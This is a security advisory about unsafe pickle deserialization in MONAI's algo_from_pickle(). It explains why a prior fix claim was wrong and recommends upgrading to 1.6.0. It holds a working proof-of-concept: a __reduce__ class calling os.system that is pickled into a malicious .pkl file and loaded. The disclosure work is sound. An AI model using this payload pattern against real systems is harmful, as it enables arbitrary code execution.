high · 7.8Aug 18, 2026

MONAI algo_from_pickle() Unsafe Pickle Deserialization RCE (Incomplete Fix)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

MONAI's algo_from_pickle() function loads attacker-supplied pickle files with no restrictions, letting anyone who can place a malicious .pkl file on the system run arbitrary code with the privileges…

Packagemonai
Ecosystempip
Affected< 1.6.0
Fixed in1.6.0
MONAI algo_from_pickle() Unsafe Pickle Deserialization RCE (Incomplete Fix)

The problem

The function algo_from_pickle() in monai/auto3dseg/utils.py calls pickle.loads() on a raw file read with no class allowlist, no custom Unpickler, and no environment gate.

Isinstance and key checks run only after deserialization, so code execution already happened at SINK 1. Two additional pickle.loads() calls on the inner algo_bytes field (SINK 2 and SINK 3) provide a second RCE opportunity even if SINK 1 were somehow neutralized.

GHSA-89gg-p5r5-q6r4 claimed this was fixed in v1.5.2, but the utils.py source was last modified in July 2024 and remained identical through v1.5.2. The v1.5.2 release notes reference only a Zip Slip fix and unrelated torch.load patches, not algo_from_pickle.

Proof of concept

A working proof-of-concept for this issue in monai, with the exact payload below.

python
import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Step 1: craft the malicious .pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Step 2: trigger via algo_from_pickle() -- mirrors lines 319-356 of utils.py verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires -- RCE here
algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Python's pickle protocol executes the __reduce__ return value during deserialization, so any object with a crafted __reduce__ achieves arbitrary code execution the instant pickle.loads() is called. Because the outer dict and the nested algo_bytes field are both pickled independently, there are two independent RCE sinks per call.

The root cause is the absence of a restricted Unpickler subclass that overrides find_class() to block dangerous modules. The patch in v1.6.0 gates both algo_to_pickle and algo_from_pickle behind the MONAI_ALLOW_PICKLE=1 environment variable and emits a UserWarning when the gate is opened, effectively removing the functions from the default attack surface (CWE-502).

The prior advisory GHSA-89gg-p5r5-q6r4 mistakenly referenced a Zip Slip commit as the pickle fix. The monai/auto3dseg/utils.py file was never touched between July 2024 and the v1.5.2 release in January 2026, confirming the fix was absent.

The fix

Upgrade to monai >= 1.6.0. In v1.6.0 both algo_from_pickle() and algo_to_pickle() are disabled by default; they raise an error unless the environment variable MONAI_ALLOW_PICKLE=1 is explicitly set, and emit a UserWarning even then. The recommended migration is to switch to the new algo_to_json() and algo_from_json() functions, which use pickle-free serialization.

Reported by aslein1413-sys.

References: [1][2][3][4]

Related research